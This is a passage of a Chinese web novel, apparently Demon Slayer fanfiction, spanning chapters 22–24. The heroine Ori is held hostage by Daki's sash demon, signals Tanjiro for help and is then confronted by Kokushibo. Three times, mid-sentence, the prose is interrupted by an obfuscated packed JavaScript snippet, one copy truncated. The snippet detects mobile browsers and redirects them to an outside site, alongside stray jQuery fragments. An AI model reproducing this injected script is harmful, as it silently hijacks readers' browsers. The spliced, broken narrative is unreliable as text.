门外,没有得到回应的灶门炭治郎等待了片刻,语气中的担忧更甚,他再次开口询问,那坚持的态度,显然是一副得不到回应就绝不会轻易离开的架势。 ——哪里来的不知死活的蠢货!得不到回应就应该识趣地滚开!这个人是没有脑子的笨蛋吗?! 远在京极屋的本体堕姬,正一心二用地操控着这边的绸带分身,门外固执的敲门声让她感到极度不耐与烦躁。 若有人敢在她的房门外如此行事,她早就让她付出惨痛的代价了。 无惨大人只吩咐了要看好这个女人,但具体要看守到什么时候却没有明确指示,不过想来也不会太久。 在这段时间里,堕姬必须小心行事,隐藏自己的存在,不能闹出太大动静引起怀疑。 否则,万一引来了难缠的柱,将人救走,那她可就无法向无惨大人交代了。 想到这里,那条生着血盆大口的绸带猛地俯下身,几乎要贴到阿织的脸上。 那双眼睛死死盯住少女因恐惧而放大的瞳孔,语气森然冰冷:“你应当知道现在该怎么做!” 22. 第 22 章 灶门炭治郎又一次闻到了那深深刻在他血液骨髓里、造就了他所有苦难的恶心气息。 ——鬼、舞、辻、无、惨! 他短暂地出现在了花街,又很快地消失了,不知道他在这里做了什么,也不知道他去往了何处。 尖锐的疼痛从心脏出开始蔓延到全身,灶门炭治郎强迫自己冷静下来,冷静地去思考接下来该怎么做。 鬼舞辻无惨的出现已经能够让这一次的事件上升到前所未有的严峻程度,这根本不是他一个低级队员能独自处理的问题了。 必须要把这件事告诉大家! 他第一时间联络了大家,把这件事告知了宇髓先生、善逸和伊之助,然后宇髓先生一脸严肃地告诉他先原地待命,他会让鎹鸦去请求支援。 因鬼舞辻无惨的气息实在太过强盛,他一出现,整条花街上都是他的味道,竟掩盖了另一只鬼出现的气味。 等到灶门炭治郎反应过来的时候,一种让他异常难受的气息已经盘踞在了整个时任屋。 这气息太浓郁了,让人分辨不清楚哪一处是最有可能藏着鬼的地方……也有可能哪一处都有鬼。 已经没有时间再去懊恼自己的大意了。 灶门炭治郎跟从了自己的心,他先去敲了阿织小姐的门确认她的安全。 虽然目前疑云重重,不知道鬼到底有什么阴谋,但保护普通人的生命安全是放在第一位的。 灶门炭治郎敲了敲门,等待在门口,眉眼间夹杂着几分焦急:“阿织小姐,没事吧?” 她这个点应当是在自己的房间休息的。 门外熟悉的关切声音让阿织听了有一瞬间差点又掉下了眼泪,她努力地忍了忍。 束在嘴上的绸带终于抽开了,乍一解开束缚,阿织咳了几声,被绸带裹挟到的皮肤生疼,不出意外的话,那些地方很快就会变得发红发紫。 好在大多都隐藏在和服之下,被遮挡了起来,叫人看不出来有什么不对劲的地方。 因为血液不循环导致的麻痹,少女脚刚沾地的时候都有些站不稳,她跪坐在地上缓了一会,踉跄了两下才稳住自己的身形。 绸带鬼悬在头顶,她不屑地冷哼了一声,浑身上下浸透了杀气和胁迫:“不老实的话,就直接把外面的人切成碎片。” 这只鬼绝对没有在跟她开玩笑,她也绝对能够说到做到。 阿织清晰且深刻地认识到了这个恐怖的事实。 她点着头低声应了一声,腿脚还有些发软,脸颊有点刺痛,慢吞吞地朝着门口挪动。 000:【阿织,抓住机会。】 抓住机会向外面的人求救,即便不能立刻消灭恶鬼,但只要能够拖延时间转移堕姬的注意力,阿织就有机会从囚笼中脱身。 鬼舞辻无惨为什么只让手下来看管阿织却没有采取其他行动的原因000大致能猜到,这是它最不想看到的。 阿织难得一下子就理解了000的提示。 身边有虎视眈眈的恶鬼,阿织根本不可能做出什么明显的言行举止来,她只能仗着恶鬼不知道他们的关系,用言语去暗示。 阿织呼吸都放得很轻,她害怕少年先说出一些“不可为外人道也”的话来,惹得这只坏脾气的鬼当场大杀特杀,就决定先开口为强。 一深一浅的脚步声渐渐靠近,少女脸上挤出一抹笑容,慢慢地打开门。 和上次分别时截然不同的心境。 在外人看不到的地方,少女的头顶有无数绸带翻涌着,带边泛着锋利的寒光,让人丝毫不怀疑其有切碎人的威力。 只要阿织表现得稍稍不合她心意,门口的少年当场就会被当场拉到房间里,切割成血腥的碎块。 少年面上带着简单的妆,头顶还扎着让人忍俊不禁的小辫子,他双手空空什么都没有拿,但从他的表情不难看出来他的关心。 “炭子酱,今天不用打扫了。”阿织尽量表现得很自然了,她艰难地稳着声线中的颤抖,如同往常那般拍了拍灶门炭治郎的额头,“你先去别处吧。” 须臾,她不自在地补了一句,“要注意身体,有忙不过来的可以请教前辈。 粉白的指尖扶在门框上,不是要把人邀请进来的姿态,她简短地单方面结束了对话,甚至都没有给灶门炭治郎反应的机会,就关上了门。 “真是个丑八怪!” 绸带鬼厌憎极了,她觉得刚才看了那个丑陋的女孩简直伤了自己的眼睛,门被关上后就立刻暴露出了本性。 阿织关上门,她差点顺着房门瘫坐在地上,心脏“砰砰砰”剧烈地跳个不停。 忽略掉内心的害怕后,她被刚才自己的一系列操作给惊艳到了,阿织觉得自己有做卧底的潜质了。 她苦中作乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815316|190848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,给自己点了个赞:【我还是挺厉害的嘛。】 000:有没有一种可能,是这只鬼比较笨才没有看出来? 对于鬼刚才的话阿织不敢明显反驳,只好不着痕迹地瞪了绸带鬼一眼,【可恶,炭治郎明明这么可爱!!】 阿织吸了吸鼻子,十分乖巧地将自己团成了一团,仿佛这样就能把自己的存在感降低一些,让这只绸带鬼忽略她。 希望援军快快到来,否则她如果在时任屋被吃了的话,得给炭治郎留下多么大的阴影啊! 想想就很可怜。 灶门炭治郎晕乎乎地站在门前,右手还停留在打招呼的动作。 所有的一切看上去似乎都没有什么可以怀疑的地方,只是没有让打扫房间而已,有些脾气不好的游女有时候甚至连门都不开,让陪童滚。 没有什么值得怀疑的地方,阿织说的话恰好保持在让鬼察觉不到异样的范围之内,但…… ——不对! 阿织小姐应该会十分热情地拉着他进入房中,再拆开一盒好吃的点心,她绝对不会说几句话打发让他走。 ——还有称呼,称呼也不对! 阿织小姐是知道他的身份的,刚才旁边没什么人在,她应当是温柔地呼唤着“炭治郎”,而不是叫“炭子”这个名字。 而且她好像是哭过了,薄薄的眼皮有些红肿,脸颊似乎也有些泛红,表情也没有之前活泼了,反而是透着股说不清道不明的僵硬——就像是有什么顾虑一样。 不得不说,仅凭一次见面,灶门炭治郎就已经摸清楚了阿织的性格特点,她真的是一个很好懂的人。 一个越来越清晰的想法出现在了脑海中。 灶门炭治郎僵直着身体,整个人浸没在了阴影里,胸腔中充斥着沉重的气体,他像是一座木偶那样缓慢地转身,甚至不敢在门口多停留一会儿。 不是害怕里面的鬼,也不是害怕自己失去生命,而是担心因为他的缘故,让屋子里挟持阿织小姐的那只鬼恼羞成怒对人质造成伤害。 对,灶门炭治郎明白了阿织偷偷传递给他的消息——除了鬼舞辻无惨之外,吉原里藏着的那只鬼现在在阿织的房间里。 不能冲动,阿织小姐已经暗示了他不能独自一人,贸然行动的话,他们两个人可能都会陷入更加危险的境地。 灶门炭治郎深吸了一口气。 23. 第 23 章 第 23 近来发生的一系列事件,或多或少都与一个名字产生了关联。 以往只有极少数人知晓的阿织,以一种始料未及的方式,骤然暴露在了鬼杀队更高层面的视野之中。 富冈义勇和锖兔几乎是同时意识到了这点,微妙的不安感在他们心中悄然扩散。 那日短暂的时任屋探望结束后,他们趁着夜色离开,后面找到了违背约定让阿织涉险的老板娘,以不容置疑的态度再次强调了某些界限与后果。 随后,两人便如同往常那样,分头奔赴各自的任务地点。 任务结束得比预想中更快。 当富冈义勇和锖兔先后返回总部复命时,恰巧遇见了正准备带队前往吉原的宇髓天元,以及那三位充满活力的少年队员,灶门炭治郎、我妻善逸和嘴平伊之助。 根据初步情报,潜藏在吉原的恶鬼异常狡猾,藏匿功夫极为高明。 拖延意味着更多无辜者可能遇害,此次行动有宇髓天元亲自坐镇指挥,应当不会出现大的纰漏。 富冈义勇和锖兔强行压下了心底那份挥之不去的担忧。 鬼杀队人手始终紧张,不可能为了一个尚未完全确认的嫌疑目标,同时出动多位柱级战力。 命运似乎总爱开玩笑。 在时间间隔如此之短的情况下,富冈义勇和锖兔竟又一次听到了与阿织相关的消息,这次,她本人赫然成为了事件的核心。 阿织似乎与与战国时期那位开创了呼吸法、被誉为鬼杀队史上最强者的继国缘一,存在着某种至关重要的关联。 主公大人这样推测,并亲自对富冈义勇和锖兔下达了明确指令,要尽快将阿织从时任屋安全带离,护送回鬼杀队总部。 整件事又变得扑朔迷离起来。 他们与阿织的相遇源于藤袭山,当年那场最终选拔结束后,留给通过者修整的时间并不充裕。 除了抽空去探望恩师鳞泷左近次外,无处可去的阿织的安置也成了问题。 依据着她初现时那身绝非普通家庭能够负担得起的衣着款式与古老纹路,以及所使用的贵重布料,鬼杀队尝试为她寻找家人。 然而,所有的寻访都石沉大海,没有任何一个家族承认丢失过这样一位小姐。 最终,失去记忆的阿织暂时留在了作为后勤医疗据点的蝶屋。 平日里,她总是表现得异常低调,仿佛极力想要缩小自己的存在感,或许是因为失去记忆对陌生世界充满了天然的不信任。 阿织第一个遇到并给予她庇护的人是富冈义勇,某种雏鸟情节使得她在潜意识里,对沉默的黑发剑士投注了更多的关注。 她总是小心翼翼地隐在人群之后,很少主动上前,再加上纤细娇小的身形,若不特意留意,很容易就会被人忽略掉。 锖兔真正与阿织进行深入对话,源于一次偶然。 那时他刚结束棘手的任务风尘仆仆地归来,便听闻了富冈义勇身受重伤的消息。 “隐”部队成员描述,是义勇运气不佳,在行动途中恰好撞见两只恶鬼正在争夺地盘。 两只原本打得不可开交的鬼,在发现他后,默契地决定先联手解决掉他。 虽然富冈义勇与锖兔在同期队员中实力属于佼佼者,但当时他们也仅仅是刚通过选拔的最低级别队员,要同时面对两只凶恶的鬼,无疑是极为困难的生死考验。 最终富冈义勇获胜了,代价是右手手臂骨折,肋骨更是断了四根。 检查的医生都为之震惊,因为身受如此重伤的他,竟然一脸镇定,表现得如同无事发生。 锖兔推开修养室的门时,黑发剑士似乎刚服下药物。 治疗伤势的药物中多会添加镇痛与助眠的成分,此刻他已沉沉睡去,呼吸平稳却带着伤者特有的沉重。 锖兔没有打扰他的意思,只是在床边的椅子上静静坐了片刻,便准备起身离开。 然而,就在他刚刚站起的瞬间,极其敏锐的听觉捕捉到了门外传来的一点轻微动静。 那脚步声细细微微,带着一种迟疑与试探,仿佛一只进入陌生环境的小动物,正踮着爪尖,小心翼翼地靠近。 来人并未意识到,即便她已下意识地将动静压到最低,在这般寂静的环境下,对于修习呼吸法感官远超常人的剑士而言,这声响依旧清晰可辨。 锖兔沉吟片刻,他看着房门的方向,并没有采取什么行动,而是来到了窗边。 房门被极缓地拉开了一道缝隙。 隔了短暂的几秒,仿佛是在确认室内的安全,一个小脑袋慢吞吞地探了进来,全然未察觉到屋内还有另一人的存在。 ——是阿织。 锖兔知道是谁,那个在藤袭山有过一面之缘的小姑娘,现在身上穿着蝶屋统一的洁白服饰,看来是留在这里帮忙了。 最终选拔之后,他与义勇各自执行任务,便很少与她有过正面接触。 锖兔的目光落在她手中端着的木质托盘上,愣了下,上面盛放的……是热气腾腾的萝卜鲑鱼。 带着些许甜咸气息的食物香味在室内悄然散开。 她轻手轻脚地将托盘放在病床旁的矮几上,随后便沉默地站在一旁,垂着头,娇小的身子竟在微微发着抖,流露出明显的无措。 富冈义勇额头和四肢缠绕着隐隐渗出血迹的绷带,再联想到他体内更严重的伤势,这般景象对于普通人而言,确实颇具冲击力。 锖兔本意并非想要吓唬她,他以为阿织是被这惨烈的伤状吓到了,便想开口安抚,却一时未考虑到自己突然出声,对正处于紧张状态下的她而言,会是何等惊吓。 “他没事的,只是看着严重,休养一段时间就好……”锖兔的话尚未说完。 “呀!”阿织猛地转过身,发出一声短促的惊呼,随即又飞快地用手捂住了自己的嘴,阻止了后续的声音。 她仰起头望向锖兔,那双澄澈的眼眸因惊吓而睁得溜圆,微微张着嘴,神色茫然地僵在原地,仿佛不知该如何是好。 过了好一会儿,她才极其迟钝地向后挪动了几步,眼睛依旧瞪得很大,里面盛满了未散的惊吓。 锖兔有些后悔,他的行为在此刻看来,简直像极了恶劣的捉弄,他应该最开始就出声表明自己已经在这里了。 难得的,一向沉稳周全的锖兔因自己的欠考虑而体会到了尴尬,耳根隐蔽地泛起微红。 他指了指门外,放低声音,尽量让语气显得温和:“我们……去外面说?” “………” 来到走廊上,脱离了那满是药味和伤患气息的房间,阿织似乎稍稍镇定了一些,也意识到了自己先前行为有点点可疑。 她下意识地将手背到身后,像是个犯了错被当场抓住的小朋友,怂怂地扁了扁嘴,小声道:“我、我没有想做坏事。” “我知道。”锖兔的目光落在她脸上,短暂地停顿了下,然后抬起手指,指了指自己脸颊靠近耳根的位置,提示道,“你这里,弄脏了。” 方才在室内光线昏暗且距离较远未曾看清,此刻在廊下更明亮的光线下,可以清晰地看到少女白皙的脸颊上,不知何时蹭上了一小块黑灰,甚至能看出清晰的指印轮廓。 联想到她方才端来的那盘萝卜鲑鱼,锖兔立刻明白了这污渍的来历。 阿织闻言,懵然地抬手摸了摸他指示的位置,雪白的指尖立刻沾染上了黑色。 她后知后觉,愣愣地用手背去擦,低着头声如蚊蚋地向锖兔道谢:“谢谢。” 锖兔暗自松了口气,随即,他用一种带着些许疑惑、但绝不包含责备的语气温和地问道:“只是送食物过来而已,为什么不直接交给他呢?” 这实在不需要如此小心翼翼,仿佛在执行什么秘密任务。 或许是感受到了他话语中传递出的善意,少女眨了眨水润的眼睛,终于渐渐卸下了心防。 她微微偏过头,秀气的眉头轻轻蹙起,似乎是在努力组织语言,思考着该如何解释。 片刻后,她才以一种不是很确定的语气,很小声地说道:“富冈先生他好像,不太喜欢别人靠他太近。” 她刚才刻意与病床保持了一段距离,离开时小心翼翼地带上了门,确保那边不可能听到这边的谈话声。 这个回答让锖兔更加疑惑了,他几乎是脱口而出:“怎么会?义勇他并不是那样的人。” 阿织停顿了一下,似乎在回忆,然后竟认真地掰着自己的手指头,一条一条地开始细数起来。 “上一次,我听到林下先生说,想帮忙换药却被富冈先生用眼神吓退了;还有一次,伊藤小姐只是想询问是否需要茶水,结果话都没说完,富冈先生就转身走开了……” 她列举的都是些经常往来于蝶屋的『隐』的成员。 也正是通过她这番有些笨拙却异常清晰的话,锖兔才第一次了解到,原来自己那位沉默寡言的同伴,在不知不觉中,竟然“得罪”了这么多人。 更准确地说,是富冈义勇那不善言辞的待人方式,无形中筑起了一道屏障,让许多想要表达善意的人望而却步,不敢轻易靠近。 锖兔几乎能想象出那些场景,他叹了口气,语气带着几分无奈又觉得好笑:“我想,他绝对没有那个意思。义勇他只是不太懂得如何与人相处,尤其是表达感谢和接受好意方面,格外笨拙而已。” 也正是这次阴差阳错的相处,打破了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815317|190848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 某种隔阂,从那以后他们三人之间的关系,渐渐变得密切起来。 而随着时间推移,锖兔和富冈义勇不断执行着各种危险任务。 对比其他同期的队员,他们两人的实力提升迅猛,等级晋升速度极快,但与之相伴的,是愈发频繁和严峻的生死考验。 在蝶屋的短暂岁月里,他们每次外出执行任务前,时常能收到她悄悄准备的物品;而当他们带着满身伤痕返回蝶屋修养时,也总会对上她那双泪眼汪汪的眼睛。 然后被她一边抽噎着,一边又强装严肃地教训他们一定要注意安全…… 那样弥漫着淡淡温情的日子,并未能持续很久。 社会在飞速变化,食人恶鬼就隐藏在这片繁华的阴影之下。 再像过去那样消息闭塞,对于需要主动出击的鬼杀队而言,将是致命的阻碍。 为了解决情报来源的问题,鬼杀队决定派遣专门的人员,潜入各个重要地点负责信息搜集工作。 阿织称不上是正式的鬼杀队队员,但她却在鬼杀队需要的时候主动站了出来。 分别之前,锖兔看到阿织蜷起指尖,语气带着几分期盼,又仿佛是在为自己打气般说道:“也许我在那里,能发挥的作用更大一些吧。” ………… 如今,记忆中简单纯粹的少女,竟可能掌握着关乎消灭恶鬼的最大线索,这实在是让人觉得震惊。 接到主公命令后,富冈义勇立刻让他的鎹鸦先行出发,飞往吉原,以便能让阿织提前做好离开的准备。 他的手指无意识地虚握着,垂在身侧,深邃的蓝眸望着远方,神情间透出一种罕见的心不在焉。 沉默地行进了一段路后,富冈义勇终于将盘旋在心头许久的疑惑问出了口:“阿织她真的会知道吗,关于继国缘一……” 富冈义勇和锖兔对于阿织遇见他们之前的过往,几乎一无所知,毕竟他们的初遇就是在藤袭山。 她本人对于自己的过去,同样是一片空白,茫然得如同刚刚降生于这个世界。 这么多年过去,她也没有产生太大的改变,也始终没有找回失去的记忆,填补那前十几年的空白。 锖兔侧头看了富冈义勇一眼,语气听不出多少情绪起伏:“阿织若是能想起什么,自然最好。若是不知道,也无妨。” “对于我们而言,情况也不会变得比现在更糟糕了。” 是的,不会更糟糕了。 说到底,这仅仅是一个充满希望的可能性而已,未来究竟会如何发展,无人能够预知。 鬼杀队与鬼斗争了千百年,不会因为“暂时无法解开某个秘密”这样的挫折而停滞不前,但也绝不会轻易放弃任何一个“可能解开秘密”的机会。 不过,这次将阿织从鱼龙混杂的时任屋带离,让她日后待在更为安全的环境中,也未尝不是一件好事。 ◇◇◇◇◇◇ 前往吉原的小路并不好走,行至半途,原本尚算晴朗的夜空骤然变了,豆大的雨点毫无征兆地砸落下来。 月色被浓厚的乌云彻底吞噬,黑沉沉的云层如同汹涌的波涛般翻涌滚动,仿佛正在酝酿着一场更为猛烈、更为持久的暴风雨。 富冈义勇和锖兔不得不慢下了脚步,狂风骤雨不可避免地影响了他们行进的速度。 不知是否因为思虑的缘故,锖兔的心头始终萦绕着一层驱之不散的淡淡阴翳,不祥的预感悄然笼罩在他的心间,让他隐隐感到不安。 富冈义勇忽然抬起头,望向雨幕笼罩的昏暗天空,声音带着一丝凝重:“那似乎是…鎹鸦?” 上空的鎹鸦飞得很低,浑身羽毛被冰冷的雨水彻底浸透,显得沉重而艰难。 看到了他们,那只鎹鸦仿佛见到了救星般,发出一声嘶哑的啼叫,奋力从雨幕中俯冲而下,直直地撞到锖兔面前。 它激动地扑棱着湿漉漉的翅膀,急促地叫着,一边急切地抬起一只腿,露出了被油纸小心包裹着的信件。 寒风呜咽着穿过林间,吹得周围树叶发出沙沙的悲鸣,摇曳晃动的树影投在地上,如同张牙舞爪的鬼魅。 锖兔迅速解开信件,借着偶尔划破夜空的闪电光芒,快速浏览着上面的字迹。 肉色头发的剑士面容在昏暗的光线下显得模糊不清,随着阅读,他周身的气势也变得压抑起来。 “坏消息。”锖兔抬起头,声音里是前所未有的沉重,仿佛需要凝聚力量才能说出接下来的话,“宇髓他们确认藏在吉原的鬼,是上弦。” 他看向身旁瞬间绷紧身体的同伴,一字一句地,吐出了那个足以让所有人血液冻结的消息。 “而且,鬼舞辻无惨出现在了吉原。” 24. 第 24 章 第 24 自成功将危险信号传递给炭治郎后,阿织的心中重新燃起了一簇微弱的希望火花。 她在内心默默祈祷着,只要这只监视她的鬼一直维持着这种“不饿”的状态,或许就能撑到救援到来的那一刻。 兴许是发现无论再怎么恐吓威慑,眼前的猎物也不如最初那般反应激烈,绸带鬼发出一声冰冷的嗤笑,对阿织失去了大部分兴趣。 她不再将少女以五花大绑的姿态悬吊起来,只是在她的腰肢和嘴巴上各缠绕了一圈绸带,既防止她随意走动,也杜绝了她呼救的可能。 随后,那些艳丽的绸带便了陷入沉寂,大部分盘踞在房间角落或天花板阴影处,进入了某种闭目养神的状态,静静地等待着什么。 阿织再次感到被轻视的侮辱,她连被认真看守的价值都没有。 虽然事实是就算这只鬼放松了警惕,以她那点微末的力量,也根本不可能从这个牢笼中逃脱。 阿织不甘地哼了一声:【可恶啊!】难道弱者的自尊难道就不算自尊了吗? 这种相对平和的僵持状态并未持续太久。 从某一刻开始,原本气息平稳带着几分傲慢的绸带鬼,像是突然被刺激到了,周身的气息骤然变得混乱躁动起来。 密布在房间各个角落的绸带,开始接二连三地如同受到召唤般,迅速缩回天花板或墙壁的缝隙。 最终,停留在房间内监视阿织的,只剩下寥寥几条较为纤细的绸带。 鬼被分散了注意力! 阿织立刻将这一变化与炭治郎联系起来,想着一定是鬼杀队已经开始行动了! 这个认知给了阿织莫大的勇气。 仗着留守的绸带鬼似乎无暇他顾,刚才还不敢动弹的阿织,胆子竟也大了起来。 她甚至不想再看到那让她心生恐惧和愤怒的绸带,慢慢地背过身去,面朝着冰冷的墙壁,试图用这种方式表达自己无声的抵抗。 她很快就要被救出去了! ……… 室内的电路被绸带鬼破坏,蜡烛也尽数熄灭,到处昏暗一片,什么都看不清楚。 不知从何时起,窗外也淅淅沥沥地下起了雨,滴滴答答的雨声敲打在屋檐和窗棂上,形成了一种单调而催人入睡的噪音。 昏暗的光线、疲惫的身心、富有节奏的雨声……各种因素组合在一起,意外地营造出了一个让人昏昏欲睡的环境。 尽管阿织的理智深知此刻绝非可以安眠的时刻,但她的身体和紧绷的神经却不受控制地渴望休息。 她开始感到难以抗拒的疲惫与困倦,上下眼皮如同灌了铅般沉重。 少女跪坐在微凉的地板上,脑袋如同小鸡啄米般一点一点,未被绸带遮盖的上半张脸上写满了浓重的疲惫,浓密卷翘的睫羽缓缓覆盖下来,掩住了那双因哭泣而泛红的眼眸。 就在她的意识在清醒与沉睡的边缘模糊徘徊之际,系统急促的声音传来。 【——可恶!】000似乎遇到了什么棘手的难题,平时的冷静不复存在,但还是勉力压制下来,【阿织,我需要暂时回系统中心一趟。】 听到这句话,阿织猛得睁大眼睛,她急忙追问,声音带着明显的慌乱:【怎么了?发生什么事了?为什么要现在离开?】 000安慰:【别怕。】 在遇到鬼舞辻无惨之后,000就提交了异常报告,初步的检查结果已经反馈回来了,显示是没有问题。 没有问题才是最大的问题! 如果再不及时反馈,恐怕后续出了任何事都无法挽回了。 【要去很久吗?】阿织的声音充满了浓浓的不安,她表情苦闷地咬了咬下唇,试图挽留,【不能……等这件事结束之后再去吗?】 一想到要独自面对这房间里的诡异绸带以及外面未知的凶险,她就感到一阵阵头皮发麻。 她一个人在这里,实在是太可怕了。 【这关系到后续的任务走向和风险评估,非常重要。】000能理解阿织此刻的恐惧心情,但它不得不去。 它试图平复阿织剧烈波动的情绪:【安心,只是去确认一些信息,不会耗费太多时间,我保证尽快返回。】 【………】 阿织蜷了蜷冰凉的手指,语气里充满了留恋:【好吧,那你要快点回来。】 000立刻给出承诺,增加她的安全感:【放心,我们有完善的《宿主安全保障条例》和《紧急情况干预机制》。一旦你遇到生命危险,我会被系统核心强制遣返,启动应急程序的。】 它再次强调,它们是非常正规的系统,绝不会出现放任宿主陷入绝境而不顾的情况。 这个阿织始终是相信的:【好,我等你回来。】 意识渐渐归于平静,000的离开甚至冲淡了阿织对绸带鬼的恐惧,她恨恨地瞪向鬼,等待着即将到来的拯救。 她并没有等待很久。 “——嘶啦!” 裂帛声夹杂着金属切割般的脆响响起,悍然撕裂了室内的沉寂。 阿织被吓得一个激灵,视线还尚未完全聚焦,便看到那两条之前还在她面前耀武扬威的绸带,此刻被利刃精准斩成了数截。 它们如同被随意丢弃的垃圾碎片,从半空中轻飘飘地落下来,散在她的周围。 阿织身体上的感受其实更直接,紧紧缠绕在嘴巴和腰间的绸带带来的束缚感,在这一瞬间消失了。 她重重地吸了口气,双手撑在冰冷的地板上,肺部因这突如其来的充足氧气而微微刺痛。 阿织稳住有些发软的身体,她带着难以置信的惊喜与强烈的期冀,猛地扭过头,望向声音来源的方向,虚弱的嗓音中含着哽咽般的激动。 “你们终于来了!” 只就在她转过头,视线变得清晰起来的那一刻,所有劫后余生的喜悦与激动,都瞬间凝固了。 站在那里的,并非她想象中的任何一位鬼杀队成员。 高大得近乎具有压迫感的身影,沉默地伫立在房间中央,恰好背对着那扇因之前绸带穿梭而损毁的窗户。 清冷月光透了下来,逆光之下,他的面容笼罩在深邃的阴影里,看不真切,只能依稀辨别出冷硬的面部轮廓。 他腰间佩戴着一柄形态古朴的长刀,挺拔的身姿静立不动,却自然而然地散发出一种如同巍峨高山般令人心生敬畏的气息。 但这座山,并非令人心安的庇护所,而是弥漫着未知危险的绝壁,仅仅是凝视,就足以让人神魂俱颤,不敢靠近分毫。 即将得救的狂喜迅速散去,取而代之的,是一种对未知的惴惴不安,恐惧攫住了阿织的心脏。 ——是其他过来支援的鬼杀队成员吗? ——是没见过的其他“柱”吧?! 阿织只能强迫自己往这个方向去想,试图为眼前这令人窒息的存在找到一个合理的解释。 然而,她的潜意识却在疯狂地预警,那种源于生命本能的直觉,比任何思考都来得强烈而清晰。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但有一点是毋庸置疑的,黑死牟是无惨大人之下最强的鬼。 当他刻意隐藏自身气息时,无人能察觉到他的踪迹,可一旦他选择现身,便再也没有任何人能够忽略他。 但此刻,不知是不是绸带鬼的错觉,她觉得此刻降临于此的黑死牟,状态似乎有些不对劲。 他周身那原本应当般稳固内敛的恐怖气息,此刻却隐隐透出一种不稳的波动,他在濒临失控。 与对未来可能面临的可怕命运一无所知的阿织不同,绸带鬼的残片一点都不想继续呆在这个令鬼窒息的房间里。 她畏缩地出声:“黑死牟大人?” 怀着一丝诡异的同情之心,绸带鬼看到在她话音刚落的瞬间,那个瘫坐在地上的少女,仿佛被抽走了最后一丝支撑的力气彻底瘫软在地。 她的身体连细微的颤抖都停滞了,只剩下绝望的僵直。 而那位威严莫测上弦一终于动了,他无声无息地向前迈出步伐,清冷的月辉从窗口流淌而过,终于清晰地照亮了那张一直隐藏在阴影中的面容,也瞬间映入了阿织因极致恐惧而收缩的瞳孔之中。 他的鼻梁高挺如山脊,嘴唇紧抿成冷硬的直线,下半张脸的轮廓无可挑剔,暗色的诡异纹路自刚毅的额角与冷硬的下颚处蔓延开来。 然而,最令人灵魂冻结的是他的上半张脸,那里赫然排列着六只奇诡非人的猩红眼眸。 黑死牟没有回头看一眼那发出声音的绸带残片,他迈着沉稳而充满压迫感的步伐,径直走到瘫软在地的阿织面前停下。 片刻后,他对绸带鬼发出了不容拒绝的指令:“离开!” 语气平淡得没有一丝起伏,甚至听不出命令的口吻,然而就是这么简单的两个字,却携带着千钧之力,使得周围的空气都随之微微振动起来。 恍惚间,阿织似乎听到了自己的尖叫声。